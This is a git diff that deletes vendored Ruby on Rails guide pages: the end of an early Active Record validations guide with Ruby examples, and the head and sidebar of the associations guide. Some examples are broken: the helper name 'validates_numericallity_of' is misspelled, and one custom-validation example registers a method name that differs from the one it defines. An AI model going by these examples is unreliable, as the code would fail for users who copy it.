-<div class="para"><p>The <tt>validates_exclusion_of</tt> helper has an option <tt>:in</tt> that receives the set of values that will not be accepted for the validated attributes. The <tt>:in</tt> option has an alias called <tt>:within</tt>  that you can use for the same purpose, if you'd like to. In the previous example we used the <tt>:message</tt> option to show how we can personalize it with the current attribute's value, through the <tt>%s</tt> format mask.</p></div>
-<div class="para"><p>The default error message for <tt>validates_exclusion_of</tt>  is "<em>is not included in the list</em>".</p></div>
-<h3 id="_the_tt_validates_format_of_tt_helper">3.6. The <tt>validates_format_of</tt> helper</h3>
-<div class="para"><p>This helper validates the attributes's values by testing if they match a given pattern. This pattern must be specified using a Ruby regular expression, which must be passed through the <tt>:with</tt> option.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_format_of <span style="color: #990000">:</span>description<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/^[a-zA-Z]+$/</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Only letters allowed"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The default error message for <tt>validates_format_of</tt> is "<em>is invalid</em>".</p></div>
-<h3 id="_the_tt_validates_inclusion_of_tt_helper">3.7. The <tt>validates_inclusion_of</tt> helper</h3>
-<div class="para"><p>This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Coffee <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_inclusion_of <span style="color: #990000">:</span>size<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">%</span>w<span style="color: #990000">(</span>small medium large<span style="color: #990000">),</span> <span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"%s is not a valid size"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>validates_inclusion_of</tt> helper has an option <tt>:in</tt> that receives the set of values that will be accepted. The <tt>:in</tt> option has an alias called <tt>:within</tt>  that you can use for the same purpose, if you'd like to. In the previous example we used the <tt>:message</tt> option to show how we can personalize it with the current attribute's value, through the <tt>%s</tt> format mask.</p></div>
-<div class="para"><p>The default error message for <tt>validates_inclusion_of</tt>  is "<em>is not included in the list</em>".</p></div>
-<h3 id="_the_tt_validates_length_of_tt_helper">3.8. The <tt>validates_length_of</tt> helper</h3>
-<div class="para"><p>This helper validates the length of your attribute's value. It can receive a variety of different options, so you can specify length contraints in different ways.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_length_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>minimum <span style="color: #990000">=&gt;</span> <span style="color: #993399">2</span>
-  validates_length_of <span style="color: #990000">:</span>bio<span style="color: #990000">,</span> <span style="color: #990000">:</span>maximum <span style="color: #990000">=&gt;</span> <span style="color: #993399">500</span>
-  validates_length_of <span style="color: #990000">:</span>password<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #993399">6</span><span style="color: #990000">..</span><span style="color: #993399">20</span>
-  validates_length_of <span style="color: #990000">:</span>registration_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>is <span style="color: #990000">=&gt;</span> <span style="color: #993399">6</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The possible length constraint options are:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>:minimum</tt> - The attribute cannot have less than the specified length.
-</p>
-</li>
-<li>
-<p>
-<tt>:maximum</tt> - The attribute cannot have more than the specified length.
-</p>
-</li>
-<li>
-<p>
-<tt>:in</tt> (or <tt>:within</tt>) - The attribute length must be included in a given interval. The value for this option must be a Ruby range.
-</p>
-</li>
-<li>
-<p>
-<tt>:is</tt> - The attribute length must be equal to a given value.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>The default error messages depend on the type of length validation being performed. You can personalize these messages, using the <tt>:wrong_length</tt>, <tt>:too_long</tt> and <tt>:too_short</tt> options and the <tt>%d</tt> format mask as a placeholder for the number corresponding to the length contraint being used. You can still use the <tt>:message</tt> option to specify an error message.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_length_of <span style="color: #990000">:</span>bio<span style="color: #990000">,</span> <span style="color: #990000">:</span>too_long <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"you're writing too much. %d characters is the maximum allowed."</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This helper has an alias called <tt>validates_size_of</tt>, it's the same helper with a different name. You can use it if you'd like to.</p></div>
-<h3 id="_the_tt_validates_numericallity_of_tt_helper">3.9. The <tt>validates_numericallity_of</tt> helper</h3>
-<div class="para"><p>This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the <tt>:integer_only</tt> option set to true, you can specify that only integral numbers are allowed.</p></div>
-<div class="para"><p>If you use <tt>:integer_only</tt> set to <tt>true</tt>, then it will use the <tt><span>/\A[+\-]?\d+\Z/</span></tt> regular expression to validate the attribute's value. Otherwise, it will try to convert the value using <tt>Kernel.Float</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Player <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_numericallity_of <span style="color: #990000">:</span>points
-  validates_numericallity_of <span style="color: #990000">:</span>games_played<span style="color: #990000">,</span> <span style="color: #990000">:</span>integer_only <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The default error message for <tt>validates_numericallity_of</tt> is "<em>is not a number</em>".</p></div>
-<h3 id="_the_tt_validates_presence_of_tt_helper">3.10. The <tt>validates_presence_of</tt> helper</h3>
-<div class="para"><p>This helper validates that the attributes are not empty. It uses the <tt>blank?</tt> method to check if the value is either <tt>nil</tt> or an empty string (if the string has only spaces, it will still be considered empty).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>login<span style="color: #990000">,</span> <span style="color: #990000">:</span>email
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">If you want to be sure that an association is present, you'll need to test if the foreign key used to map the association is present, and not the associated object itself.</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LineItem <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  belongs_to <span style="color: #990000">:</span>order
-  validates_presence_of <span style="color: #990000">:</span>order_id
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">If you want to validate the presence of a boolean field (where the real values are true and false), you will want to use validates_inclusion_of :field_name, :in &#8658; [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # &#8658; true</td>
-</tr></table>
-</div>
-<div class="para"><p>The default error message for <tt>validates_presence_of</tt> is "<em>can't be empty</em>".</p></div>
-<h3 id="_the_tt_validates_uniqueness_of_tt_helper">3.11. The <tt>validates_uniqueness_of</tt> helper</h3>
-<div class="para"><p>This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you wish were unique. To avoid that, you must create an unique index in your database.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_uniqueness_of <span style="color: #990000">:</span>email
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The validation happens by performing a SQL query into the model's table, searching for a record where the attribute that must be validated is equal to the value in the object being validated.</p></div>
-<div class="para"><p>There is a <tt>:scope</tt> option that you can use to specify other attributes that must be used to define uniqueness:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Holiday <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_uniqueness_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>year<span style="color: #990000">,</span> <span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Should happen once per year"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>There is also a <tt>:case_sensitive</tt> option that you can use to define if the uniqueness contraint will be case sensitive or not. This option defaults to true.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_uniqueness_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>case_sensitive <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The default error message for <tt>validates_uniqueness_of</tt> is "<em>has already been taken</em>".</p></div>
-</div>
-<h2 id="_common_validation_options">4. Common validation options</h2>
-<div class="sectionbody">
-<div class="para"><p>There are some common options that all the validation helpers can use. Here they are, except for the <tt>:if</tt> and <tt>:unless</tt> options, which we'll cover right at the next topic.</p></div>
-<h3 id="_the_tt_allow_nil_tt_option">4.1. The <tt>:allow_nil</tt> option</h3>
-<div class="para"><p>You may use the <tt>:allow_nil</tt> option everytime you just want to trigger a validation if the value being validated is not <tt>nil</tt>. You may be asking yourself if it makes any sense to use <tt>:allow_nil</tt> and <tt>validates_presence_of</tt> together. Well, it does. Remember, validation will be skipped only for <tt>nil</tt> attributes, but empty strings are not considered <tt>nil</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Coffee <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_inclusion_of <span style="color: #990000">:</span>size<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">%</span>w<span style="color: #990000">(</span>small medium large<span style="color: #990000">),</span>
-    <span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"%s is not a valid size"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>allow_nil <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_the_tt_message_tt_option">4.2. The <tt>:message</tt> option</h3>
-<div class="para"><p>As stated before, the <tt>:message</tt> option lets you specify the message that will be added to the <tt>errors</tt> collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.</p></div>
-<h3 id="_the_tt_on_tt_option">4.3. The <tt>:on</tt> option</h3>
-<div class="para"><p>As stated before, the <tt>:on</tt> option lets you specify when the validation should happen. The default behaviour for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use <tt>:on =<span>&gt;</span> :create</tt> to run the validation only when a new record is created or <tt>:on =<span>&gt;</span> :update</tt> to run the validation only when a record is updated.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_uniqueness_of <span style="color: #990000">:</span>email<span style="color: #990000">,</span> <span style="color: #990000">:</span>on <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>create <span style="font-style: italic"><span style="color: #9A1900"># =&gt; it will be possible to update email with a duplicated value</span></span>
-  validates_numericallity_of <span style="color: #990000">:</span>age<span style="color: #990000">,</span> <span style="color: #990000">:</span>on <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>update <span style="font-style: italic"><span style="color: #9A1900"># =&gt; it will be possible to create the record with a 'non-numerical age'</span></span>
-  validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>on <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>save <span style="font-style: italic"><span style="color: #9A1900"># =&gt; that's the default</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_conditional_validation">5. Conditional validation</h2>
-<div class="sectionbody">
-<div class="para"><p>Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the <tt>:if</tt> and <tt>:unless</tt> options, which can take a symbol, a string or a Ruby Proc. You may use the <tt>:if</tt> option when you want to specify when the validation <strong>should</strong> happen. If you want to specify when the validation <strong>should not</strong> happen, then you may use the <tt>:unless</tt> option.</p></div>
-<h3 id="_using_a_symbol_with_the_tt_if_tt_and_tt_unless_tt_options">5.1. Using a symbol with the <tt>:if</tt> and <tt>:unless</tt> options</h3>
-<div class="para"><p>You can associated the <tt>:if</tt> and <tt>:unless</tt> options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_presence_of <span style="color: #990000">:</span>card_number<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>paid_with_card?
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> paid_with_card?
-    payment_type <span style="color: #990000">==</span> <span style="color: #FF0000">"card"</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_using_a_string_with_the_tt_if_tt_and_tt_unless_tt_options">5.2. Using a string with the <tt>:if</tt> and <tt>:unless</tt> options</h3>
-<div class="para"><p>You can also use a string that will be evaluated using <tt>:eval</tt> and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_presence_of <span style="color: #990000">:</span>surname<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name.nil?"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_using_a_proc_object_with_the_tt_if_tt_and_tt_unless_tt_options">5.3. Using a Proc object with the <tt>:if</tt> and :<tt>unless</tt> options</h3>
-<div class="para"><p>Finally, it's possible to associate <tt>:if</tt> and <tt>:unless</tt> with a Ruby Proc object which will be called. Using a Proc object can give you the hability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_confirmation_of <span style="color: #990000">:</span>password<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> <span style="color: #990000">=&gt;</span> Proc<span style="color: #990000">.</span>new <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>a<span style="color: #990000">|</span> a<span style="color: #990000">.</span>password<span style="color: #990000">.</span>blank? <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_writing_your_own_validation_methods">6. Writing your own validation methods</h2>
-<div class="sectionbody">
-<div class="para"><p>When the built-in validation helpers are not enough for your needs, you can write your own validation methods, by implementing one or more of the <tt>validate</tt>, <tt>validate_on_create</tt> or <tt>validate_on_update</tt> methods. As the names of the methods states, the right method to implement depends on when you want the validations to be ran. The meaning of valid is still the same: to make an object invalid you just need to add a message to it's <tt>errors</tt> collection.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Invoice <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> validate_on_create
-    errors<span style="color: #990000">.</span>add<span style="color: #990000">(:</span>expiration_date<span style="color: #990000">,</span> <span style="color: #FF0000">"can't be in the past"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">!</span>expiration_date<span style="color: #990000">.</span>blank? <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> expiration_date <span style="color: #990000">&lt;</span> Date<span style="color: #990000">.</span>today
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If your validation rules are too complicated and you want to break it in small methods, you can implement all of them and call one of <tt>validate</tt>, <tt>validate_on_create</tt> or <tt>validate_on_update</tt> methods, passing it the symbols for the methods' names.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Invoice <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validate <span style="color: #990000">:</span>expiration_date_cannot_be_in_the_past<span style="color: #990000">,</span> <span style="color: #990000">:</span>discount_cannot_be_more_than_total_value
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> expiration_date_cannot_be_in_the_past
-    errors<span style="color: #990000">.</span>add<span style="color: #990000">(:</span>expiration_date<span style="color: #990000">,</span> <span style="color: #FF0000">"can't be in the past"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">!</span>expiration_date<span style="color: #990000">.</span>blank? <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> expiration_date <span style="color: #990000">&lt;</span> Date<span style="color: #990000">.</span>today
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> discount_cannot_be_greater_than_total_value
-    errors<span style="color: #990000">.</span>add<span style="color: #990000">(:</span>discount<span style="color: #990000">,</span> <span style="color: #FF0000">"can't be greater than total value"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> discount <span style="color: #990000">&lt;=</span> total_value
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_changelog">7. Changelog</h2>
-<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks">http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks</a></p></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/association_basics.html b/vendor/rails/railties/doc/guides/html/association_basics.html
deleted file mode 100644
index 9159eaab..00000000
--- a/vendor/rails/railties/doc/guides/html/association_basics.html
+++ /dev/null
@@ -1,2585 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>A Guide to Active Record Associations</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_why_associations">Why Associations?</a>
-					</li>
-					<li>
-					<a href="#_the_types_of_associations">The Types of Associations</a>
-						<ul>
-						
-							<li><a href="#_the_tt_belongs_to_tt_association">The <tt>belongs_to</tt> Association</a></li>
-						
-							<li><a href="#_the_tt_has_one_tt_association">The <tt>has_one</tt> Association</a></li>
-						
-							<li><a href="#_the_tt_has_many_tt_association">The <tt>has_many</tt> Association</a></li>
-						
-							<li><a href="#_the_tt_has_many_through_tt_association">The <tt>has_many :through</tt> Association</a></li>
-						
-							<li><a href="#_the_tt_has_one_through_tt_association">The <tt>has_one :through</tt> Association</a></li>
-						
-							<li><a href="#_the_tt_has_and_belongs_to_many_tt_association">The <tt>has_and_belongs_to_many</tt> Association</a></li>
-						
-							<li><a href="#_choosing_between_tt_belongs_to_tt_and_tt_has_one_tt">Choosing Between <tt>belongs_to</tt> and <tt>has_one</tt></a></li>
-						
-							<li><a href="#_choosing_between_tt_has_many_through_tt_and_tt_has_and_belongs_to_many_tt">Choosing Between <tt>has_many :through</tt> and <tt>has_and_belongs_to_many</tt></a></li>
-						
-							<li><a href="#_polymorphic_associations">Polymorphic Associations</a></li>
-						
-							<li><a href="#_self_joins">Self Joins</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_tips_tricks_and_warnings">Tips, Tricks, and Warnings</a>
-						<ul>
-						
-							<li><a href="#_controlling_caching">Controlling Caching</a></li>
-						
-							<li><a href="#_avoiding_name_collisions">Avoiding Name Collisions</a></li>
-						
-							<li><a href="#_updating_the_schema">Updating the Schema</a></li>
-						
-							<li><a href="#_controlling_association_scope">Controlling Association Scope</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_detailed_association_reference">Detailed Association Reference</a>
-						<ul>
-						
-							<li><a href="#_the_tt_belongs_to_tt_association_2">The <tt>belongs_to</tt> Association</a></li>
-						
-							<li><a href="#_the_has_one_association">The has_one Association</a></li>
-						
-							<li><a href="#_the_has_many_association">The has_many Association</a></li>
-						
-							<li><a href="#_the_tt_has_and_belongs_to_many_tt_association_2">The <tt>has_and_belongs_to_many</tt> Association</a></li>
